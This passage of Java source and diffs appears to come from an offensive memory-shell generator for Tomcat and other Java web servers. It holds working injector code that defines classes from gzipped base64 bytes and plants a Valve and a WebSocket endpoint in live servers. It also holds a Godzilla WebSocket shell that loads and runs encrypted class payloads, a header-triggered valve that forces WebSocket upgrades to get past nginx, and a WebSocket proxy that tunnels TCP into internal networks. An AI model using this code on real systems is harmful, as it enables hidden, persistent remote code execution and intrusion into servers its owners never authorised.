msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
clazz = defineShell(classLoader, getBase64String());
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
private Class<?> defineShell(ClassLoader classLoader, String base64) throws Exception {
byte[] clazzByte = gzipDecompress(decodeBase64(base64));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
return ((Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length));
}
@SuppressWarnings("unchecked")
private void inject(Object context, Object obj) throws Exception {
Object servletContext = invokeMethod(context, "getServletContext", null, null);
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
if (container == null) {
container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
}
if (container == null) {
throw new RuntimeException("container is null");
}
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
return;
}
Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance();
Object pipeline = invokeMethod(context, "getPipeline", null, null);
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
ClassLoader contextClassLoader = context.getClass().getClassLoader();
Class<?> serverEndpointConfigClass;
Class<?> builderClass;
try {
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
} catch (ClassNotFoundException e) {
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
}
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
constructor.setAccessible(true);
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
Object endpointConfig = invokeMethod(o1, "build", null, null);
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet; import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
@@ -5,11 +5,8 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet; import java.util.HashSet;
import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -6,10 +6,12 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.management.ManagementFactory; import java.lang.management.ManagementFactory;
import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -7,11 +7,9 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.management.ManagementFactory; import java.lang.management.ManagementFactory;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashSet; import java.util.HashSet;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
@@ -6,7 +6,6 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet; import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
@@ -46,6 +46,8 @@ public class Tomcat extends AbstractServer {
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class) .addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class) .addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
.addInjector(BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
.addInjector(JAKARTA_BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
.addInjector(UPGRADE, TomcatUpgradeInjector.class) .addInjector(UPGRADE, TomcatUpgradeInjector.class)
.build(); .build();
} }
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller; import org.springframework.web.servlet.mvc.Controller;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import java.io.InputStream; import java.io.InputStream;
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.shelltool.command; package com.reajason.javaweb.memshell.shelltool.command;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener; import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
@@ -1,7 +1,6 @@
package com.reajason.javaweb.memshell.shelltool.command; package com.reajason.javaweb.memshell.shelltool.command;
import javax.servlet.ServletException; import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
@@ -4,7 +4,6 @@ import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig; import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler; import javax.websocket.MessageHandler;
import javax.websocket.Session; import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.io.InputStream; import java.io.InputStream;
import java.util.Scanner; import java.util.Scanner;
@@ -16,7 +16,6 @@ import java.lang.reflect.Method;
import java.net.URL; import java.net.URL;
import java.net.URLClassLoader; import java.net.URLClassLoader;
import java.nio.ByteBuffer; import java.nio.ByteBuffer;
import java.nio.charset.Charset;
import static java.nio.charset.StandardCharsets.UTF_8; import static java.nio.charset.StandardCharsets.UTF_8;
@@ -12,21 +12,22 @@ import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.net.URL; import java.net.URL;
import java.net.URLClassLoader; import java.net.URLClassLoader;
import java.nio.ByteBuffer;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/5/9 * @since 2025/5/9
*/ */
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> { public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
public static String key; public static String key;
private Session session; private Session session;
private static Class<?> payload; private static Class<?> payload;
@Override @Override
public void onMessage(String message) { public void onMessage(ByteBuffer byteBuffer) {
byte[] result = null; byte[] result = null;
try { try {
byte[] data = base64Decode(message); byte[] data = byteBuffer.array();
data = x(data, false); data = x(data, false);
if (payload == null || (data[0] == -54 && data[1] == -2)) { if (payload == null || (data[0] == -54 && data[1] == -2)) {
payload = reflectionDefineClass(data); payload = reflectionDefineClass(data);
@@ -44,7 +45,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
result = getErrorMessage(e).getBytes(); result = getErrorMessage(e).getBytes();
} }
try { try {
session.getBasicRemote().sendText(base64Encode(x(result, true))); session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(result, true)));
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
@@ -83,28 +84,6 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
session.addMessageHandler(this); session.addMessageHandler(this);
} }
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
}
public byte[] x(byte[] s, boolean m) throws Exception { public byte[] x(byte[] s, boolean m) throws Exception {
Cipher c = Cipher.getInstance("AES"); Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
@@ -12,11 +12,12 @@ import java.io.*;
import java.net.*; import java.net.*;
import java.nio.ByteBuffer; import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel; import java.nio.channels.SocketChannel;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException; import java.security.cert.CertificateException;
import java.security.cert.X509Certificate; import java.security.cert.X509Certificate;
import java.util.*; import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Random;
import java.util.concurrent.BlockingQueue; import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
@@ -8,11 +8,12 @@ import java.io.*;
import java.net.*; import java.net.*;
import java.nio.ByteBuffer; import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel; import java.nio.channels.SocketChannel;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException; import java.security.cert.CertificateException;
import java.security.cert.X509Certificate; import java.security.cert.X509Certificate;
import java.util.*; import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Random;
import java.util.concurrent.BlockingQueue; import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
@@ -12,11 +12,12 @@ import java.io.*;
import java.net.*; import java.net.*;
import java.nio.ByteBuffer; import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel; import java.nio.channels.SocketChannel;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException; import java.security.cert.CertificateException;
import java.security.cert.X509Certificate; import java.security.cert.X509Certificate;
import java.util.*; import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Random;
import java.util.concurrent.BlockingQueue; import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
@@ -1,16 +1,16 @@
package com.reajason.javaweb.memshell.shelltool.suo5v2; package com.reajason.javaweb.memshell.shelltool.suo5v2;
import javax.net.ssl.*; import javax.net.ssl.*;
import javax.servlet.http.HttpServletRequest;
import java.io.*; import java.io.*;
import java.net.*; import java.net.*;
import java.nio.ByteBuffer; import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel; import java.nio.channels.SocketChannel;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException; import java.security.cert.CertificateException;
import java.security.cert.X509Certificate; import java.security.cert.X509Certificate;
import java.util.*; import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Random;
import java.util.concurrent.BlockingQueue; import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
@@ -11,11 +11,12 @@ import java.io.*;
import java.net.*; import java.net.*;
import java.nio.ByteBuffer; import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel; import java.nio.channels.SocketChannel;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException; import java.security.cert.CertificateException;
import java.security.cert.X509Certificate; import java.security.cert.X509Certificate;
import java.util.*; import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Random;
import java.util.concurrent.BlockingQueue; import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
@@ -8,11 +8,12 @@ import java.io.*;
import java.net.*; import java.net.*;
import java.nio.ByteBuffer; import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel; import java.nio.channels.SocketChannel;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException; import java.security.cert.CertificateException;
import java.security.cert.X509Certificate; import java.security.cert.X509Certificate;
import java.util.*; import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Random;
import java.util.concurrent.BlockingQueue; import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
@@ -10,11 +10,12 @@ import java.lang.reflect.Method;
import java.net.*; import java.net.*;
import java.nio.ByteBuffer; import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel; import java.nio.channels.SocketChannel;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException; import java.security.cert.CertificateException;
import java.security.cert.X509Certificate; import java.security.cert.X509Certificate;
import java.util.*; import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Random;
import java.util.concurrent.BlockingQueue; import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
@@ -1,16 +1,16 @@
package com.reajason.javaweb.memshell.shelltool.suo5v2; package com.reajason.javaweb.memshell.shelltool.suo5v2;
import javax.net.ssl.*; import javax.net.ssl.*;
import javax.servlet.http.HttpServletRequest;
import java.io.*; import java.io.*;
import java.net.*; import java.net.*;
import java.nio.ByteBuffer; import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel; import java.nio.channels.SocketChannel;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException; import java.security.cert.CertificateException;
import java.security.cert.X509Certificate; import java.security.cert.X509Certificate;
import java.util.*; import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Random;
import java.util.concurrent.BlockingQueue; import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
@@ -14,11 +14,12 @@ import java.io.*;
import java.net.*; import java.net.*;
import java.nio.ByteBuffer; import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel; import java.nio.channels.SocketChannel;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException; import java.security.cert.CertificateException;
import java.security.cert.X509Certificate; import java.security.cert.X509Certificate;
import java.util.*; import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Random;
import java.util.concurrent.BlockingQueue; import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
@@ -0,0 +1,98 @@
package com.reajason.javaweb.memshell.shelltool.wsbypass;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2026/1/13
*/
public class TomcatWsBypassValve implements Valve {
public static String headerName;
public static String headerValue;
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
String pathInfo = request.getPathInfo();
String path;
if (pathInfo == null) {
path = request.getServletPath();
} else {
path = request.getServletPath() + pathInfo;
}
Object sc = request.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
if (sc == null) {
sc = request.getServletContext().getAttribute("jakarta.websocket.server.ServerContainer");
}
if (sc == null) {
throw new ServletException("Server container not found");
}
addHeader(request, "Connection", "upgrade");
addHeader(request, "Upgrade", "websocket");
Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");
for (Method method : upgradeUtil.getMethods()) {
if ("doUpgrade".equals(method.getName())) {
method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams"));
}
}
return;
}
} catch (Throwable e) {
e.printStackTrace();
}
this.getNext().invoke(request, response);
}
private Object getFieldValue(Object obj, String fieldName) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(obj);
}
private void addHeader(Request request, String key, String value) {
try {
Field coyoteRequestField = request.getClass().getDeclaredField("coyoteRequest");
coyoteRequestField.setAccessible(true);
Object coyoteRequest = coyoteRequestField.get(request);
Method getMimeHeadersMethod = coyoteRequest.getClass().getMethod("getMimeHeaders");
Object mimeHeaders = getMimeHeadersMethod.invoke(coyoteRequest);
Method addValueMethod = mimeHeaders.getClass().getMethod("addValue", String.class);
Object messageBytes = addValueMethod.invoke(mimeHeaders, key);
Method setStringMethod = messageBytes.getClass().getMethod("setString", String.class);
setStringMethod.invoke(messageBytes, value);
} catch (Exception e) {
e.printStackTrace();
}
}
Valve next;
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return false;
}
@Override
public void backgroundProcess() {
}
}
@@ -0,0 +1,111 @@
package com.reajason.javaweb.memshell.shelltool.wsproxy;
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
/**
* @author ReaJason
* @since 2026/1/14
*/
public class ProxyWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer>, CompletionHandler<Integer, Session> {
private Session session;
private long messageCount = 0;
private AsynchronousSocketChannel currentClient = null;
private final ByteBuffer buffer = ByteBuffer.allocate(102400);
private ByteArrayOutputStream baos = new ByteArrayOutputStream();
private final HashMap<String, AsynchronousSocketChannel> channelMap = new HashMap<>();
public ProxyWebSocket() {
}
public void completed(Integer result, Session attachment) {
buffer.clear();
try {
if (buffer.hasRemaining() && result >= 0) {
byte[] arr = new byte[result];
buffer.get(arr, 0, result);
baos.write(arr, 0, result);
ByteBuffer response = ByteBuffer.wrap(baos.toByteArray());
if (attachment.isOpen()) {
attachment.getBasicRemote().sendBinary(response);
}
baos = new ByteArrayOutputStream();
readFromServer(attachment, currentClient);
} else {
if (result > 0) {
byte[] arr = new byte[result];
buffer.get(arr, 0, result);
baos.write(arr, 0, result);
readFromServer(attachment, currentClient);
}
}
} catch (Exception ignored) {
}
}
@Override
public void failed(Throwable exc, Session attachment) {
exc.printStackTrace();
}
public void onMessage(ByteBuffer message) {
try {
message.clear();
messageCount++;
process(message, session);
} catch (Exception ignored) {
}
}
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.messageCount = 0;
this.session = session;
session.setMaxBinaryMessageBufferSize(1024 * 1024 * 1024);
session.setMaxTextMessageBufferSize(1024 * 1024 * 1024);
session.addMessageHandler(this);
}
private void readFromServer(Session channel, AsynchronousSocketChannel client) {
this.currentClient = client;
buffer.clear();
client.read(buffer, channel, this);
}
private void process(ByteBuffer messageBuffer, Session channel) {
try {
if (messageCount > 1) {
AsynchronousSocketChannel client = channelMap.get(channel.getId());
client.write(messageBuffer).get();
readFromServer(channel, client);
} else if (messageCount == 1) {
String values = new String(messageBuffer.array());
String[] array = values.split(" ");
String[] addrArray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int port = Integer.parseInt(addrArray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch (Exception ignored) {
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
channelMap.put(channel.getId(), client);
readFromServer(channel, client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
} catch (Exception ignored) {
}
}
}
@@ -1,8 +1,6 @@
package com.reajason.javaweb.probe.config; package com.reajason.javaweb.probe.config;
import lombok.AllArgsConstructor;
import lombok.Getter; import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.ToString; import lombok.ToString;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
@@ -9,7 +9,6 @@ import com.reajason.javaweb.probe.payload.JdkProbe;
import com.reajason.javaweb.probe.payload.ServerProbe; import com.reajason.javaweb.probe.payload.ServerProbe;
import com.reajason.javaweb.probe.payload.dns.DnsLogJdk; import com.reajason.javaweb.probe.payload.dns.DnsLogJdk;
import com.reajason.javaweb.probe.payload.dns.DnsLogServer; import com.reajason.javaweb.probe.payload.dns.DnsLogServer;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
@@ -7,7 +7,6 @@ import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.SleepConfig; import com.reajason.javaweb.probe.config.SleepConfig;
import com.reajason.javaweb.probe.payload.ServerProbe; import com.reajason.javaweb.probe.payload.ServerProbe;
import com.reajason.javaweb.probe.payload.sleep.SleepServer; import com.reajason.javaweb.probe.payload.sleep.SleepServer;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
@@ -92,4 +92,25 @@ class CustomShellGeneratorTest {
assertTrue(referencedClasses.contains("com/bes/enterprise/webtier/Valve")); assertTrue(referencedClasses.contains("com/bes/enterprise/webtier/Valve"));
assertFalse(referencedClasses.contains("org/apache/catalina/Valve")); assertFalse(referencedClasses.contains("org/apache/catalina/Valve"));
} }
@Test
@SneakyThrows
void testJakartaServlet(){
